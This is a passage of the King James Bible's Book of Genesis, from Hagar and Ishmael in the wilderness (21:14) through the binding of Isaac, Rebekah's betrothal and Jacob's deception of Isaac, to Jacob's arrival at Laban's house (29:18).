departed, and wandered in +the wilderness of Beersheba. + +21:15 And the water was spent in the bottle, and she cast the child +under one of the shrubs. + +21:16 And she went, and sat her down over against him a good way off, +as it were a bow shot: for she said, Let me not see the death of the +child. And she sat over against him, and lift up her voice, and wept. + +21:17 And God heard the voice of the lad; and the angel of God called +to Hagar out of heaven, and said unto her, What aileth thee, Hagar? +fear not; for God hath heard the voice of the lad where he is. + +21:18 Arise, lift up the lad, and hold him in thine hand; for I will +make him a great nation. + +21:19 And God opened her eyes, and she saw a well of water; and she +went, and filled the bottle with water, and gave the lad drink. + +21:20 And God was with the lad; and he grew, and dwelt in the +wilderness, and became an archer. + +21:21 And he dwelt in the wilderness of Paran: and his mother took him +a wife out of the land of Egypt. + +21:22 And it came to pass at that time, that Abimelech and Phichol the +chief captain of his host spake unto Abraham, saying, God is with thee +in all that thou doest: 21:23 Now therefore swear unto me here by God +that thou wilt not deal falsely with me, nor with my son, nor with my +son's son: but according to the kindness that I have done unto thee, +thou shalt do unto me, and to the land wherein thou hast sojourned. + +21:24 And Abraham said, I will swear. + +21:25 And Abraham reproved Abimelech because of a well of water, which +Abimelech's servants had violently taken away. + +21:26 And Abimelech said, I wot not who hath done this thing; neither +didst thou tell me, neither yet heard I of it, but to day. + +21:27 And Abraham took sheep and oxen, and gave them unto Abimelech; +and both of them made a covenant. + +21:28 And Abraham set seven ewe lambs of the flock by themselves. + +21:29 And Abimelech said unto Abraham, What mean these seven ewe lambs +which thou hast set by themselves? 21:30 And he said, For these seven +ewe lambs shalt thou take of my hand, that they may be a witness unto +me, that I have digged this well. + +21:31 Wherefore he called that place Beersheba; because there they +sware both of them. + +21:32 Thus they made a covenant at Beersheba: then Abimelech rose up, +and Phichol the chief captain of his host, and they returned into the +land of the Philistines. + +21:33 And Abraham planted a grove in Beersheba, and called there on +the name of the LORD, the everlasting God. + +21:34 And Abraham sojourned in the Philistines' land many days. + +22:1 And it came to pass after these things, that God did tempt +Abraham, and said unto him, Abraham: and he said, Behold, here I am. + +22:2 And he said, Take now thy son, thine only son Isaac, whom thou +lovest, and get thee into the land of Moriah; and offer him there for +a burnt offering upon one of the mountains which I will tell thee of. + +22:3 And Abraham rose up early in the morning, and saddled his ass, +and took two of his young men with him, and Isaac his son, and clave +the wood for the burnt offering, and rose up, and went unto the place +of which God had told him. + +22:4 Then on the third day Abraham lifted up his eyes, and saw the +place afar off. + +22:5 And Abraham said unto his young men, Abide ye here with the ass; +and I and the lad will go yonder and worship, and come again to you. + +22:6 And Abraham took the wood of the burnt offering, and laid it upon +Isaac his son; and he took the fire in his hand, and a knife; and they +went both of them together. + +22:7 And Isaac spake unto Abraham his father, and said, My father: and +he said, Here am I, my son. And he said, Behold the fire and the wood: +but where is the lamb for a burnt offering? 22:8 And Abraham said, My +son, God will provide himself a lamb for a burnt offering: so they +went both of them together. + +22:9 And they came to the place which God had told him of; and Abraham +built an altar there, and laid the wood in order, and bound Isaac his +son, and laid him on the altar upon the wood. + +22:10 And Abraham stretched forth his hand, and took the knife to slay +his son. + +22:11 And the angel of the LORD called unto him out of heaven, and +said, Abraham, Abraham: and he said, Here am I. + +22:12 And he said, Lay not thine hand upon the lad, neither do thou +any thing unto him: for now I know that thou fearest God, seeing thou +hast not withheld thy son, thine only son from me. + +22:13 And Abraham lifted up his eyes, and looked, and behold behind +him a ram caught in a thicket by his horns: and Abraham went and took +the ram, and offered him up for a burnt offering in the stead of his +son. + +22:14 And Abraham called the name of that place Jehovahjireh: as it is +said to this day, In the mount of the LORD it shall be seen. + +22:15 And the angel of the LORD called unto Abraham out of heaven the +second time, 22:16 And said, By myself have I sworn, saith the LORD, +for because thou hast done this thing, and hast not withheld thy son, +thine only son: 22:17 That in blessing I will bless thee, and in +multiplying I will multiply thy seed as the stars of the heaven, and +as the sand which is upon the sea shore; and thy seed shall possess +the gate of his enemies; 22:18 And in thy seed shall all the nations +of the earth be blessed; because thou hast obeyed my voice. + +22:19 So Abraham returned unto his young men, and they rose up and +went together to Beersheba; and Abraham dwelt at Beersheba. + +22:20 And it came to pass after these things, that it was told +Abraham, saying, Behold, Milcah, she hath also born children unto thy +brother Nahor; 22:21 Huz his firstborn, and Buz his brother, and +Kemuel the father of Aram, 22:22 And Chesed, and Hazo, and Pildash, +and Jidlaph, and Bethuel. + +22:23 And Bethuel begat Rebekah: these eight Milcah did bear to Nahor, +Abraham's brother. + +22:24 And his concubine, whose name was Reumah, she bare also Tebah, +and Gaham, and Thahash, and Maachah. + +23:1 And Sarah was an hundred and seven and twenty years old: these +were the years of the life of Sarah. + +23:2 And Sarah died in Kirjatharba; the same is Hebron in the land of +Canaan: and Abraham came to mourn for Sarah, and to weep for her. + +23:3 And Abraham stood up from before his dead, and spake unto the +sons of Heth, saying, 23:4 I am a stranger and a sojourner with you: +give me a possession of a buryingplace with you, that I may bury my +dead out of my sight. + +23:5 And the children of Heth answered Abraham, saying unto him, 23:6 +Hear us, my lord: thou art a mighty prince among us: in the choice of +our sepulchres bury thy dead; none of us shall withhold from thee his +sepulchre, but that thou mayest bury thy dead. + +23:7 And Abraham stood up, and bowed himself to the people of the +land, even to the children of Heth. + +23:8 And he communed with them, saying, If it be your mind that I +should bury my dead out of my sight; hear me, and intreat for me to +Ephron the son of Zohar, 23:9 That he may give me the cave of +Machpelah, which he hath, which is in the end of his field; for as +much money as it is worth he shall give it me for a possession of a +buryingplace amongst you. + +23:10 And Ephron dwelt among the children of Heth: and Ephron the +Hittite answered Abraham in the audience of the children of Heth, even +of all that went in at the gate of his city, saying, 23:11 Nay, my +lord, hear me: the field give I thee, and the cave that is therein, I +give it thee; in the presence of the sons of my people give I it thee: +bury thy dead. + +23:12 And Abraham bowed down himself before the people of the land. + +23:13 And he spake unto Ephron in the audience of the people of the +land, saying, But if thou wilt give it, I pray thee, hear me: I will +give thee money for the field; take it of me, and I will bury my dead +there. + +23:14 And Ephron answered Abraham, saying unto him, 23:15 My lord, +hearken unto me: the land is worth four hundred shekels of silver; +what is that betwixt me and thee? bury therefore thy dead. + +23:16 And Abraham hearkened unto Ephron; and Abraham weighed to Ephron +the silver, which he had named in the audience of the sons of Heth, +four hundred shekels of silver, current money with the merchant. + +23:17 And the field of Ephron which was in Machpelah, which was before +Mamre, the field, and the cave which was therein, and all the trees +that were in the field, that were in all the borders round about, were +made sure 23:18 Unto Abraham for a possession in the presence of the +children of Heth, before all that went in at the gate of his city. + +23:19 And after this, Abraham buried Sarah his wife in the cave of the +field of Machpelah before Mamre: the same is Hebron in the land of +Canaan. + +23:20 And the field, and the cave that is therein, were made sure unto +Abraham for a possession of a buryingplace by the sons of Heth. + +24:1 And Abraham was old, and well stricken in age: and the LORD had +blessed Abraham in all things. + +24:2 And Abraham said unto his eldest servant of his house, that ruled +over all that he had, Put, I pray thee, thy hand under my thigh: 24:3 +And I will make thee swear by the LORD, the God of heaven, and the God +of the earth, that thou shalt not take a wife unto my son of the +daughters of the Canaanites, among whom I dwell: 24:4 But thou shalt +go unto my country, and to my kindred, and take a wife unto my son +Isaac. + +24:5 And the servant said unto him, Peradventure the woman will not be +willing to follow me unto this land: must I needs bring thy son again +unto the land from whence thou camest? 24:6 And Abraham said unto +him, Beware thou that thou bring not my son thither again. + +24:7 The LORD God of heaven, which took me from my father's house, and +from the land of my kindred, and which spake unto me, and that sware +unto me, saying, Unto thy seed will I give this land; he shall send +his angel before thee, and thou shalt take a wife unto my son from +thence. + +24:8 And if the woman will not be willing to follow thee, then thou +shalt be clear from this my oath: only bring not my son thither again. + +24:9 And the servant put his hand under the thigh of Abraham his +master, and sware to him concerning that matter. + +24:10 And the servant took ten camels of the camels of his master, and +departed; for all the goods of his master were in his hand: and he +arose, and went to Mesopotamia, unto the city of Nahor. + +24:11 And he made his camels to kneel down without the city by a well +of water at the time of the evening, even the time that women go out +to draw water. + +24:12 And he said O LORD God of my master Abraham, I pray thee, send +me good speed this day, and shew kindness unto my master Abraham. + +24:13 Behold, I stand here by the well of water; and the daughters of +the men of the city come out to draw water: 24:14 And let it come to +pass, that the damsel to whom I shall say, Let down thy pitcher, I +pray thee, that I may drink; and she shall say, Drink, and I will give +thy camels drink also: let the same be she that thou hast appointed +for thy servant Isaac; and thereby shall I know that thou hast shewed +kindness unto my master. + +24:15 And it came to pass, before he had done speaking, that, behold, +Rebekah came out, who was born to Bethuel, son of Milcah, the wife of +Nahor, Abraham's brother, with her pitcher upon her shoulder. + +24:16 And the damsel was very fair to look upon, a virgin, neither had +any man known her: and she went down to the well, and filled her +pitcher, and came up. + +24:17 And the servant ran to meet her, and said, Let me, I pray thee, +drink a little water of thy pitcher. + +24:18 And she said, Drink, my lord: and she hasted, and let down her +pitcher upon her hand, and gave him drink. + +24:19 And when she had done giving him drink, she said, I will draw +water for thy camels also, until they have done drinking. + +24:20 And she hasted, and emptied her pitcher into the trough, and ran +again unto the well to draw water, and drew for all his camels. + +24:21 And the man wondering at her held his peace, to wit whether the +LORD had made his journey prosperous or not. + +24:22 And it came to pass, as the camels had done drinking, that the +man took a golden earring of half a shekel weight, and two bracelets +for her hands of ten shekels weight of gold; 24:23 And said, Whose +daughter art thou? tell me, I pray thee: is there room in thy father's +house for us to lodge in? 24:24 And she said unto him, I am the +daughter of Bethuel the son of Milcah, which she bare unto Nahor. + +24:25 She said moreover unto him, We have both straw and provender +enough, and room to lodge in. + +24:26 And the man bowed down his head, and worshipped the LORD. + +24:27 And he said, Blessed be the LORD God of my master Abraham, who +hath not left destitute my master of his mercy and his truth: I being +in the way, the LORD led me to the house of my master's brethren. + +24:28 And the damsel ran, and told them of her mother's house these +things. + +24:29 And Rebekah had a brother, and his name was Laban: and Laban ran +out unto the man, unto the well. + +24:30 And it came to pass, when he saw the earring and bracelets upon +his sister's hands, and when he heard the words of Rebekah his sister, +saying, Thus spake the man unto me; that he came unto the man; and, +behold, he stood by the camels at the well. + +24:31 And he said, Come in, thou blessed of the LORD; wherefore +standest thou without? for I have prepared the house, and room for the +camels. + +24:32 And the man came into the house: and he ungirded his camels, and +gave straw and provender for the camels, and water to wash his feet, +and the men's feet that were with him. + +24:33 And there was set meat before him to eat: but he said, I will +not eat, until I have told mine errand. And he said, Speak on. + +24:34 And he said, I am Abraham's servant. + +24:35 And the LORD hath blessed my master greatly; and he is become +great: and he hath given him flocks, and herds, and silver, and gold, +and menservants, and maidservants, and camels, and asses. + +24:36 And Sarah my master's wife bare a son to my master when she was +old: and unto him hath he given all that he hath. + +24:37 And my master made me swear, saying, Thou shalt not take a wife +to my son of the daughters of the Canaanites, in whose land I dwell: +24:38 But thou shalt go unto my father's house, and to my kindred, and +take a wife unto my son. + +24:39 And I said unto my master, Peradventure the woman will not +follow me. + +24:40 And he said unto me, The LORD, before whom I walk, will send his +angel with thee, and prosper thy way; and thou shalt take a wife for +my son of my kindred, and of my father's house: 24:41 Then shalt thou +be clear from this my oath, when thou comest to my kindred; and if +they give not thee one, thou shalt be clear from my oath. + +24:42 And I came this day unto the well, and said, O LORD God of my +master Abraham, if now thou do prosper my way which I go: 24:43 +Behold, I stand by the well of water; and it shall come to pass, that +when the virgin cometh forth to draw water, and I say to her, Give me, +I pray thee, a little water of thy pitcher to drink; 24:44 And she say +to me, Both drink thou, and I will also draw for thy camels: let the +same be the woman whom the LORD hath appointed out for my master's +son. + +24:45 And before I had done speaking in mine heart, behold, Rebekah +came forth with her pitcher on her shoulder; and she went down unto +the well, and drew water: and I said unto her, Let me drink, I pray +thee. + +24:46 And she made haste, and let down her pitcher from her shoulder, +and said, Drink, and I will give thy camels drink also: so I drank, +and she made the camels drink also. + +24:47 And I asked her, and said, Whose daughter art thou? And she +said, the daughter of Bethuel, Nahor's son, whom Milcah bare unto him: +and I put the earring upon her face, and the bracelets upon her hands. + +24:48 And I bowed down my head, and worshipped the LORD, and blessed +the LORD God of my master Abraham, which had led me in the right way +to take my master's brother's daughter unto his son. + +24:49 And now if ye will deal kindly and truly with my master, tell +me: and if not, tell me; that I may turn to the right hand, or to the +left. + +24:50 Then Laban and Bethuel answered and said, The thing proceedeth +from the LORD: we cannot speak unto thee bad or good. + +24:51 Behold, Rebekah is before thee, take her, and go, and let her be +thy master's son's wife, as the LORD hath spoken. + +24:52 And it came to pass, that, when Abraham's servant heard their +words, he worshipped the LORD, bowing himself to the earth. + +24:53 And the servant brought forth jewels of silver, and jewels of +gold, and raiment, and gave them to Rebekah: he gave also to her +brother and to her mother precious things. + +24:54 And they did eat and drink, he and the men that were with him, +and tarried all night; and they rose up in the morning, and he said, +Send me away unto my master. + +24:55 And her brother and her mother said, Let the damsel abide with +us a few days, at the least ten; after that she shall go. + +24:56 And he said unto them, Hinder me not, seeing the LORD hath +prospered my way; send me away that I may go to my master. + +24:57 And they said, We will call the damsel, and enquire at her +mouth. + +24:58 And they called Rebekah, and said unto her, Wilt thou go with +this man? And she said, I will go. + +24:59 And they sent away Rebekah their sister, and her nurse, and +Abraham's servant, and his men. + +24:60 And they blessed Rebekah, and said unto her, Thou art our +sister, be thou the mother of thousands of millions, and let thy seed +possess the gate of those which hate them. + +24:61 And Rebekah arose, and her damsels, and they rode upon the +camels, and followed the man: and the servant took Rebekah, and went +his way. + +24:62 And Isaac came from the way of the well Lahairoi; for he dwelt +in the south country. + +24:63 And Isaac went out to meditate in the field at the eventide: and +he lifted up his eyes, and saw, and, behold, the camels were coming. + +24:64 And Rebekah lifted up her eyes, and when she saw Isaac, she +lighted off the camel. + +24:65 For she had said unto the servant, What man is this that walketh +in the field to meet us? And the servant had said, It is my master: +therefore she took a vail, and covered herself. + +24:66 And the servant told Isaac all things that he had done. + +24:67 And Isaac brought her into his mother Sarah's tent, and took +Rebekah, and she became his wife; and he loved her: and Isaac was +comforted after his mother's death. + +25:1 Then again Abraham took a wife, and her name was Keturah. + +25:2 And she bare him Zimran, and Jokshan, and Medan, and Midian, and +Ishbak, and Shuah. + +25:3 And Jokshan begat Sheba, and Dedan. And the sons of Dedan were +Asshurim, and Letushim, and Leummim. + +25:4 And the sons of Midian; Ephah, and Epher, and Hanoch, and Abidah, +and Eldaah. All these were the children of Keturah. + +25:5 And Abraham gave all that he had unto Isaac. + +25:6 But unto the sons of the concubines, which Abraham had, Abraham +gave gifts, and sent them away from Isaac his son, while he yet lived, +eastward, unto the east country. + +25:7 And these are the days of the years of Abraham's life which he +lived, an hundred threescore and fifteen years. + +25:8 Then Abraham gave up the ghost, and died in a good old age, an +old man, and full of years; and was gathered to his people. + +25:9 And his sons Isaac and Ishmael buried him in the cave of +Machpelah, in the field of Ephron the son of Zohar the Hittite, which +is before Mamre; 25:10 The field which Abraham purchased of the sons +of Heth: there was Abraham buried, and Sarah his wife. + +25:11 And it came to pass after the death of Abraham, that God blessed +his son Isaac; and Isaac dwelt by the well Lahairoi. + +25:12 Now these are the generations of Ishmael, Abraham's son, whom +Hagar the Egyptian, Sarah's handmaid, bare unto Abraham: 25:13 And +these are the names of the sons of Ishmael, by their names, according +to their generations: the firstborn of Ishmael, Nebajoth; and Kedar, +and Adbeel, and Mibsam, 25:14 And Mishma, and Dumah, and Massa, 25:15 +Hadar, and Tema, Jetur, Naphish, and Kedemah: 25:16 These are the sons +of Ishmael, and these are their names, by their towns, and by their +castles; twelve princes according to their nations. + +25:17 And these are the years of the life of Ishmael, an hundred and +thirty and seven years: and he gave up the ghost and died; and was +gathered unto his people. + +25:18 And they dwelt from Havilah unto Shur, that is before Egypt, as +thou goest toward Assyria: and he died in the presence of all his +brethren. + +25:19 And these are the generations of Isaac, Abraham's son: Abraham +begat Isaac: 25:20 And Isaac was forty years old when he took Rebekah +to wife, the daughter of Bethuel the Syrian of Padanaram, the sister +to Laban the Syrian. + +25:21 And Isaac intreated the LORD for his wife, because she was +barren: and the LORD was intreated of him, and Rebekah his wife +conceived. + +25:22 And the children struggled together within her; and she said, If +it be so, why am I thus? And she went to enquire of the LORD. + +25:23 And the LORD said unto her, Two nations are in thy womb, and two +manner of people shall be separated from thy bowels; and the one +people shall be stronger than the other people; and the elder shall +serve the younger. + +25:24 And when her days to be delivered were fulfilled, behold, there +were twins in her womb. + +25:25 And the first came out red, all over like an hairy garment; and +they called his name Esau. + +25:26 And after that came his brother out, and his hand took hold on +Esau's heel; and his name was called Jacob: and Isaac was threescore +years old when she bare them. + +25:27 And the boys grew: and Esau was a cunning hunter, a man of the +field; and Jacob was a plain man, dwelling in tents. + +25:28 And Isaac loved Esau, because he did eat of his venison: but +Rebekah loved Jacob. + +25:29 And Jacob sod pottage: and Esau came from the field, and he was +faint: 25:30 And Esau said to Jacob, Feed me, I pray thee, with that +same red pottage; for I am faint: therefore was his name called Edom. + +25:31 And Jacob said, Sell me this day thy birthright. + +25:32 And Esau said, Behold, I am at the point to die: and what profit +shall this birthright do to me? 25:33 And Jacob said, Swear to me +this day; and he sware unto him: and he sold his birthright unto +Jacob. + +25:34 Then Jacob gave Esau bread and pottage of lentiles; and he did +eat and drink, and rose up, and went his way: thus Esau despised his +birthright. + +26:1 And there was a famine in the land, beside the first famine that +was in the days of Abraham. And Isaac went unto Abimelech king of the +Philistines unto Gerar. + +26:2 And the LORD appeared unto him, and said, Go not down into Egypt; +dwell in the land which I shall tell thee of: 26:3 Sojourn in this +land, and I will be with thee, and will bless thee; for unto thee, and +unto thy seed, I will give all these countries, and I will perform the +oath which I sware unto Abraham thy father; 26:4 And I will make thy +seed to multiply as the stars of heaven, and will give unto thy seed +all these countries; and in thy seed shall all the nations of the +earth be blessed; 26:5 Because that Abraham obeyed my voice, and kept +my charge, my commandments, my statutes, and my laws. + +26:6 And Isaac dwelt in Gerar: 26:7 And the men of the place asked him +of his wife; and he said, She is my sister: for he feared to say, She +is my wife; lest, said he, the men of the place should kill me for +Rebekah; because she was fair to look upon. + +26:8 And it came to pass, when he had been there a long time, that +Abimelech king of the Philistines looked out at a window, and saw, +and, behold, Isaac was sporting with Rebekah his wife. + +26:9 And Abimelech called Isaac, and said, Behold, of a surety she is +thy wife; and how saidst thou, She is my sister? And Isaac said unto +him, Because I said, Lest I die for her. + +26:10 And Abimelech said, What is this thou hast done unto us? one of +the people might lightly have lien with thy wife, and thou shouldest +have brought guiltiness upon us. + +26:11 And Abimelech charged all his people, saying, He that toucheth +this man or his wife shall surely be put to death. + +26:12 Then Isaac sowed in that land, and received in the same year an +hundredfold: and the LORD blessed him. + +26:13 And the man waxed great, and went forward, and grew until he +became very great: 26:14 For he had possession of flocks, and +possession of herds, and great store of servants: and the Philistines +envied him. + +26:15 For all the wells which his father's servants had digged in the +days of Abraham his father, the Philistines had stopped them, and +filled them with earth. + +26:16 And Abimelech said unto Isaac, Go from us; for thou art much +mightier than we. + +26:17 And Isaac departed thence, and pitched his tent in the valley of +Gerar, and dwelt there. + +26:18 And Isaac digged again the wells of water, which they had digged +in the days of Abraham his father; for the Philistines had stopped +them after the death of Abraham: and he called their names after the +names by which his father had called them. + +26:19 And Isaac's servants digged in the valley, and found there a +well of springing water. + +26:20 And the herdmen of Gerar did strive with Isaac's herdmen, +saying, The water is ours: and he called the name of the well Esek; +because they strove with him. + +26:21 And they digged another well, and strove for that also: and he +called the name of it Sitnah. + +26:22 And he removed from thence, and digged another well; and for +that they strove not: and he called the name of it Rehoboth; and he +said, For now the LORD hath made room for us, and we shall be fruitful +in the land. + +26:23 And he went up from thence to Beersheba. + +26:24 And the LORD appeared unto him the same night, and said, I am +the God of Abraham thy father: fear not, for I am with thee, and will +bless thee, and multiply thy seed for my servant Abraham's sake. + +26:25 And he builded an altar there, and called upon the name of the +LORD, and pitched his tent there: and there Isaac's servants digged a +well. + +26:26 Then Abimelech went to him from Gerar, and Ahuzzath one of his +friends, and Phichol the chief captain of his army. + +26:27 And Isaac said unto them, Wherefore come ye to me, seeing ye +hate me, and have sent me away from you? 26:28 And they said, We saw +certainly that the LORD was with thee: and we said, Let there be now +an oath betwixt us, even betwixt us and thee, and let us make a +covenant with thee; 26:29 That thou wilt do us no hurt, as we have not +touched thee, and as we have done unto thee nothing but good, and have +sent thee away in peace: thou art now the blessed of the LORD. + +26:30 And he made them a feast, and they did eat and drink. + +26:31 And they rose up betimes in the morning, and sware one to +another: and Isaac sent them away, and they departed from him in +peace. + +26:32 And it came to pass the same day, that Isaac's servants came, +and told him concerning the well which they had digged, and said unto +him, We have found water. + +26:33 And he called it Shebah: therefore the name of the city is +Beersheba unto this day. + +26:34 And Esau was forty years old when he took to wife Judith the +daughter of Beeri the Hittite, and Bashemath the daughter of Elon the +Hittite: 26:35 Which were a grief of mind unto Isaac and to Rebekah. + +27:1 And it came to pass, that when Isaac was old, and his eyes were +dim, so that he could not see, he called Esau his eldest son, and said +unto him, My son: and he said unto him, Behold, here am I. + +27:2 And he said, Behold now, I am old, I know not the day of my +death: 27:3 Now therefore take, I pray thee, thy weapons, thy quiver +and thy bow, and go out to the field, and take me some venison; 27:4 +And make me savoury meat, such as I love, and bring it to me, that I +may eat; that my soul may bless thee before I die. + +27:5 And Rebekah heard when Isaac spake to Esau his son. And Esau went +to the field to hunt for venison, and to bring it. + +27:6 And Rebekah spake unto Jacob her son, saying, Behold, I heard thy +father speak unto Esau thy brother, saying, 27:7 Bring me venison, and +make me savoury meat, that I may eat, and bless thee before the LORD +before my death. + +27:8 Now therefore, my son, obey my voice according to that which I +command thee. + +27:9 Go now to the flock, and fetch me from thence two good kids of +the goats; and I will make them savoury meat for thy father, such as +he loveth: 27:10 And thou shalt bring it to thy father, that he may +eat, and that he may bless thee before his death. + +27:11 And Jacob said to Rebekah his mother, Behold, Esau my brother is +a hairy man, and I am a smooth man: 27:12 My father peradventure will +feel me, and I shall seem to him as a deceiver; and I shall bring a +curse upon me, and not a blessing. + +27:13 And his mother said unto him, Upon me be thy curse, my son: only +obey my voice, and go fetch me them. + +27:14 And he went, and fetched, and brought them to his mother: and +his mother made savoury meat, such as his father loved. + +27:15 And Rebekah took goodly raiment of her eldest son Esau, which +were with her in the house, and put them upon Jacob her younger son: +27:16 And she put the skins of the kids of the goats upon his hands, +and upon the smooth of his neck: 27:17 And she gave the savoury meat +and the bread, which she had prepared, into the hand of her son Jacob. + +27:18 And he came unto his father, and said, My father: and he said, +Here am I; who art thou, my son? 27:19 And Jacob said unto his +father, I am Esau thy first born; I have done according as thou badest +me: arise, I pray thee, sit and eat of my venison, that thy soul may +bless me. + +27:20 And Isaac said unto his son, How is it that thou hast found it +so quickly, my son? And he said, Because the LORD thy God brought it +to me. + +27:21 And Isaac said unto Jacob, Come near, I pray thee, that I may +feel thee, my son, whether thou be my very son Esau or not. + +27:22 And Jacob went near unto Isaac his father; and he felt him, and +said, The voice is Jacob's voice, but the hands are the hands of Esau. + +27:23 And he discerned him not, because his hands were hairy, as his +brother Esau's hands: so he blessed him. + +27:24 And he said, Art thou my very son Esau? And he said, I am. + +27:25 And he said, Bring it near to me, and I will eat of my son's +venison, that my soul may bless thee. And he brought it near to him, +and he did eat: and he brought him wine and he drank. + +27:26 And his father Isaac said unto him, Come near now, and kiss me, +my son. + +27:27 And he came near, and kissed him: and he smelled the smell of +his raiment, and blessed him, and said, See, the smell of my son is as +the smell of a field which the LORD hath blessed: 27:28 Therefore God +give thee of the dew of heaven, and the fatness of the earth, and +plenty of corn and wine: 27:29 Let people serve thee, and nations bow +down to thee: be lord over thy brethren, and let thy mother's sons bow +down to thee: cursed be every one that curseth thee, and blessed be he +that blesseth thee. + +27:30 And it came to pass, as soon as Isaac had made an end of +blessing Jacob, and Jacob was yet scarce gone out from the presence of +Isaac his father, that Esau his brother came in from his hunting. + +27:31 And he also had made savoury meat, and brought it unto his +father, and said unto his father, Let my father arise, and eat of his +son's venison, that thy soul may bless me. + +27:32 And Isaac his father said unto him, Who art thou? And he said, I +am thy son, thy firstborn Esau. + +27:33 And Isaac trembled very exceedingly, and said, Who? where is he +that hath taken venison, and brought it me, and I have eaten of all +before thou camest, and have blessed him? yea, and he shall be +blessed. + +27:34 And when Esau heard the words of his father, he cried with a +great and exceeding bitter cry, and said unto his father, Bless me, +even me also, O my father. + +27:35 And he said, Thy brother came with subtilty, and hath taken away +thy blessing. + +27:36 And he said, Is not he rightly named Jacob? for he hath +supplanted me these two times: he took away my birthright; and, +behold, now he hath taken away my blessing. And he said, Hast thou not +reserved a blessing for me? 27:37 And Isaac answered and said unto +Esau, Behold, I have made him thy lord, and all his brethren have I +given to him for servants; and with corn and wine have I sustained +him: and what shall I do now unto thee, my son? 27:38 And Esau said +unto his father, Hast thou but one blessing, my father? bless me, even +me also, O my father. And Esau lifted up his voice, and wept. + +27:39 And Isaac his father answered and said unto him, Behold, thy +dwelling shall be the fatness of the earth, and of the dew of heaven +from above; 27:40 And by thy sword shalt thou live, and shalt serve +thy brother; and it shall come to pass when thou shalt have the +dominion, that thou shalt break his yoke from off thy neck. + +27:41 And Esau hated Jacob because of the blessing wherewith his +father blessed him: and Esau said in his heart, The days of mourning +for my father are at hand; then will I slay my brother Jacob. + +27:42 And these words of Esau her elder son were told to Rebekah: and +she sent and called Jacob her younger son, and said unto him, Behold, +thy brother Esau, as touching thee, doth comfort himself, purposing to +kill thee. + +27:43 Now therefore, my son, obey my voice; arise, flee thou to Laban +my brother to Haran; 27:44 And tarry with him a few days, until thy +brother's fury turn away; 27:45 Until thy brother's anger turn away +from thee, and he forget that which thou hast done to him: then I will +send, and fetch thee from thence: why should I be deprived also of you +both in one day? 27:46 And Rebekah said to Isaac, I am weary of my +life because of the daughters of Heth: if Jacob take a wife of the +daughters of Heth, such as these which are of the daughters of the +land, what good shall my life do me? 28:1 And Isaac called Jacob, and +blessed him, and charged him, and said unto him, Thou shalt not take a +wife of the daughters of Canaan. + +28:2 Arise, go to Padanaram, to the house of Bethuel thy mother's +father; and take thee a wife from thence of the daughers of Laban thy +mother's brother. + +28:3 And God Almighty bless thee, and make thee fruitful, and multiply +thee, that thou mayest be a multitude of people; 28:4 And give thee +the blessing of Abraham, to thee, and to thy seed with thee; that thou +mayest inherit the land wherein thou art a stranger, which God gave +unto Abraham. + +28:5 And Isaac sent away Jacob: and he went to Padanaram unto Laban, +son of Bethuel the Syrian, the brother of Rebekah, Jacob's and Esau's +mother. + +28:6 When Esau saw that Isaac had blessed Jacob, and sent him away to +Padanaram, to take him a wife from thence; and that as he blessed him +he gave him a charge, saying, Thou shalt not take a wife of the +daughers of Canaan; 28:7 And that Jacob obeyed his father and his +mother, and was gone to Padanaram; 28:8 And Esau seeing that the +daughters of Canaan pleased not Isaac his father; 28:9 Then went Esau +unto Ishmael, and took unto the wives which he had Mahalath the +daughter of Ishmael Abraham's son, the sister of Nebajoth, to be his +wife. + +28:10 And Jacob went out from Beersheba, and went toward Haran. + +28:11 And he lighted upon a certain place, and tarried there all +night, because the sun was set; and he took of the stones of that +place, and put them for his pillows, and lay down in that place to +sleep. + +28:12 And he dreamed, and behold a ladder set up on the earth, and the +top of it reached to heaven: and behold the angels of God ascending +and descending on it. + +28:13 And, behold, the LORD stood above it, and said, I am the LORD +God of Abraham thy father, and the God of Isaac: the land whereon thou +liest, to thee will I give it, and to thy seed; 28:14 And thy seed +shall be as the dust of the earth, and thou shalt spread abroad to the +west, and to the east, and to the north, and to the south: and in thee +and in thy seed shall all the families of the earth be blessed. + +28:15 And, behold, I am with thee, and will keep thee in all places +whither thou goest, and will bring thee again into this land; for I +will not leave thee, until I have done that which I have spoken to +thee of. + +28:16 And Jacob awaked out of his sleep, and he said, Surely the LORD +is in this place; and I knew it not. + +28:17 And he was afraid, and said, How dreadful is this place! this is +none other but the house of God, and this is the gate of heaven. + +28:18 And Jacob rose up early in the morning, and took the stone that +he had put for his pillows, and set it up for a pillar, and poured oil +upon the top of it. + +28:19 And he called the name of that place Bethel: but the name of +that city was called Luz at the first. + +28:20 And Jacob vowed a vow, saying, If God will be with me, and will +keep me in this way that I go, and will give me bread to eat, and +raiment to put on, 28:21 So that I come again to my father's house in +peace; then shall the LORD be my God: 28:22 And this stone, which I +have set for a pillar, shall be God's house: and of all that thou +shalt give me I will surely give the tenth unto thee. + +29:1 Then Jacob went on his journey, and came into the land of the +people of the east. + +29:2 And he looked, and behold a well in the field, and, lo, there +were three flocks of sheep lying by it; for out of that well they +watered the flocks: and a great stone was upon the well's mouth. + +29:3 And thither were all the flocks gathered: and they rolled the +stone from the well's mouth, and watered the sheep, and put the stone +again upon the well's mouth in his place. + +29:4 And Jacob said unto them, My brethren, whence be ye? And they +said, Of Haran are we. + +29:5 And he said unto them, Know ye Laban the son of Nahor? And they +said, We know him. + +29:6 And he said unto them, Is he well? And they said, He is well: +and, behold, Rachel his daughter cometh with the sheep. + +29:7 And he said, Lo, it is yet high day, neither is it time that the +cattle should be gathered together: water ye the sheep, and go and +feed them. + +29:8 And they said, We cannot, until all the flocks be gathered +together, and till they roll the stone from the well's mouth; then we +water the sheep. + +29:9 And while he yet spake with them, Rachel came with her father's +sheep; for she kept them. + +29:10 And it came to pass, when Jacob saw Rachel the daughter of Laban +his mother's brother, and the sheep of Laban his mother's brother, +that Jacob went near, and rolled the stone from the well's mouth, and +watered the flock of Laban his mother's brother. + +29:11 And Jacob kissed Rachel, and lifted up his voice, and wept. + +29:12 And Jacob told Rachel that he was her father's brother, and that +he was Rebekah's son: and she ran and told her father. + +29:13 And it came to pass, when Laban heard the tidings of Jacob his +sister's son, that he ran to meet him, and embraced him, and kissed +him, and brought him to his house. And he told Laban all these things. + +29:14 And Laban said to him, Surely thou art my bone and my flesh. And +he abode with him the space of a month. + +29:15 And Laban said unto Jacob, Because thou art my brother, +shouldest thou therefore serve me for nought? tell me, what shall thy +wages be? 29:16 And Laban had two daughters: the name of the elder +was Leah, and the name of the younger was Rachel. + +29:17 Leah was tender eyed; but Rachel was beautiful and well +favoured. + +29:18 And Jacob loved Rachel; and said, I will serve thee seven years +for Rachel thy 